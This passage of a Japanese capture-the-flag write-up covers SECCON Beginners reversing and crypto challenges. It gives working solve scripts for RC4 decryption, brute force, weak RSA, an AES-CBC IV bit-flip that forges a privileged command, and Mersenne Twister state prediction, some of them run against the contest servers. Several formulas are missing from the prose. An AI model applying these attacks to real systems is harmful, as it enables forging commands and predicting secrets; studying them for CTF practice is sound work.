WARNING: Subroutine does not return */ __stack_chk_fail(); } local_a8 = local_a8 + 1; } while( true ); }
入力された文字列を鍵がKEYのRC4で暗号化し、ENCと比較しています。そのため、KEYを使ってENCを復号するとフラグが求まります。
from Crypto.Cipher import ARC4 import lief key_addr = 0x4020 enc_addr = 0x4060 key_size = 0x28 enc_size = 0x3f elf = lief.parse("unpacked") key = bytes([x ^ i for i, x in enumerate(elf.get_content_from_virtual_address(key_addr, key_size))]) enc = bytes(elf.get_content_from_virtual_address(enc_addr, enc_size)) cipher = ARC4.new(key) print(cipher.decrypt(enc))
$ python3 solve.py b'ctf4b{D0_y0u_kn0w_0f_0th3r_w4y5_t0_d3t3ct_d36u991n9_1n_L1nux?}\xef'
Crypto
CoughingFox
フラグの文字とインデックスの両方を総当たりしても通りにも満たないので、総当たりで求まります。
cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472] flag = bytearray(len(cipher)) for c in cipher: for i in range(len(cipher)): for f in range(255): if (f + i)**2 + i == c: flag[i] = f print(flag.decode())
$ python3 solve.py ctf4b{Hey,Fox?YouCanNotTearThatHouseDown,CanYou?}
PrimeParty
次のを公開鍵として暗号化されたフラグが与えられます。
を256bit程度の素数として、
となるようなを求め、を計算するとフラグが求まりました。
from pwn import * from Crypto.Util.number import getPrime, long_to_bytes bits = 256 p = getPrime(bits) q = getPrime(bits) r = getPrime(bits) s = remote("primeparty.quals.beginners.seccon.jp", 1336) s.recvuntil("> ") s.sendline(str(p).encode()) s.recvuntil("> ") s.sendline(str(q).encode()) s.recvuntil("> ") s.sendline(str(r).encode()) s.recvuntil("n = ") n = int(s.recvline()) s.recvuntil("e = ") e = int(s.recvline()) s.recvuntil("cipher = ") cipher = int(s.recvline()) phi = (p - 1) * (q - 1) * (r - 1) d = pow(e, -1, phi) print(long_to_bytes(pow(cipher, d, p*q*r)))
python3 solve.py [+] Opening connection to primeparty.quals.beginners.seccon.jp on port 1336: Done b'ctf4b{HopefullyWeCanFindSomeCommonGroundWithEachOther!!!}' [*] Closed connection to primeparty.quals.beginners.seccon.jp port 1336
Command
IVとxorする前の復号時のAES-CBCの最初の1ブロックは「」となっています。復号時のIVとして、「」を与えると復号結果を好きな文字列にできます。
from Crypto.Util.strxor import strxor from Crypto.Util.Padding import pad from pwn import * s = remote("command.quals.beginners.seccon.jp", 5555) s.sendlineafter(b"> ", b"1") s.sendlineafter(b"> ", b"fizzbuzz") s.recvuntil(b"Encrypted command: ") enc = bytes.fromhex(s.recvline().strip().decode()) iv, c = enc[:16], enc[16:] new_iv = strxor(iv, pad(b"fizzbuzz", 16)) new_iv = strxor(new_iv, pad(b"getflag", 16)) print("Encrypted cmd:", (new_iv+c).hex()) s.interactive()
python3 solve.py [+] Opening connection to command.quals.beginners.seccon.jp on port 5555: Done Encrypted cmd: a7235d23a873673b7de194399cf19fdeaa4e93fe8c4de120bba9bc4c2143b50d [*] Switching to interactive mode ----- Menu ----- 1. Encrypt command 2. Execute encrypted command 3. Exit > $ 2 Encrypted command> $ a7235d23a873673b7de194399cf19fdeaa4e93fe8c4de120bba9bc4c2143b50d ctf4b{b1tfl1pfl4ppers}
Unpredictable Pad
import random import os FLAG = os.getenv('FLAG', 'notflag{this_is_sample_flag}') def main(): r = random.Random() for i in range(3): try: inp = int(input('Input to oracle: ')) if inp > 2**64: print('input is too big') return oracle = r.getrandbits(inp.bit_length()) ^ inp print(f'The oracle is: {oracle}') except ValueError: continue intflag = int(FLAG.encode().hex(), 16) encrypted_flag = intflag ^ r.getrandbits(intflag.bit_length()) print(f'Encrypted flag: {encrypted_flag}') if __name__ == '__main__': main()
問題のソースコードをぱっと見たところ、intにしたフラグと乱数でxorをとったものが与えれれるだけでフラグが求まりそうにありません。
Pythonのgetrandbitsは内部で32bitのメルセンヌツイスタが使われています。getrandbitsに与えられる引数をkとすると、kが32以下ならメルセンヌツイスタで乱数を生成し余分なビットを落とした値が返されます。一方で、32より大きい場合は32bitずつメルセンヌツイスタで乱数を生成し、組み合わせたものが返されます。参考
メルセンヌツイスタの予測は624個の内部状態があれば行えるとされています。そのため、getrandbits(624*32)の値が手に入れば簡単に予測できるため、フラグを求められそうです。
chal.pyを見ると、getrandbitsの引数はinpのビット数となっています。inpは2**64より小さい値でなければならないため、64ビットまでの乱数しか手に入らないように見えます。しかし、正の数と限定されていないため負の数を入力すると好きなビット数の乱数を手に入れることができます。
よって、inpに-2**(624*32)+1
を入力し624個の内部状態を得ることでメルセンヌツイスタの次の値が予測できるようになり、フラグを復元できました。
from pwn import * from mt19937predictor import MT19937Predictor from Crypto.Util.number import * #p = process(["python3", "chal.py"]) p = remote("unpredictable-pad.quals.beginners.seccon.jp", 9777) # first # 624 * 32bitの乱数を取得する x = -2**(624*32) + 1 p.sendlineafter(": ", str(x).encode()) p.recvuntil(b": ") states_int = int(p.recvline().strip()) ^ x predictor = MT19937Predictor() while states_int: predictor.setrandbits(states_int & 0xffffffff, 32) states_int >>= 32 # second x = 2**(32) - 1 p.sendlineafter(": ", str(x).encode()) p.recvuntil(b": ") oracle = int(p.recvline().strip()) ^ x assert oracle == predictor.getrandbits(32) # third x = 2**(32) - 1 p.sendlineafter(": ", str(x).encode()) p.recvuntil(b": ") oracle = int(p.recvline().strip()) ^ x assert oracle == predictor.getrandbits(32) # 予測した乱数と暗号化されたフラグでxorをとる p.recvuntil("Encrypted flag: ") enc = int(p.recvline().strip()) print(long_to_bytes(enc ^ predictor.getrandbits(enc.bit_length())))
$ python3 solve.py [+] Opening connection to unpredictable-pad.quals.beginners.seccon.jp on port 9777: Done b'ctf4b{M4y_MT19937_b3_w17h_y0u}' [*] Closed connection to unpredictable-pad.quals.beginners.seccon.jp port 9777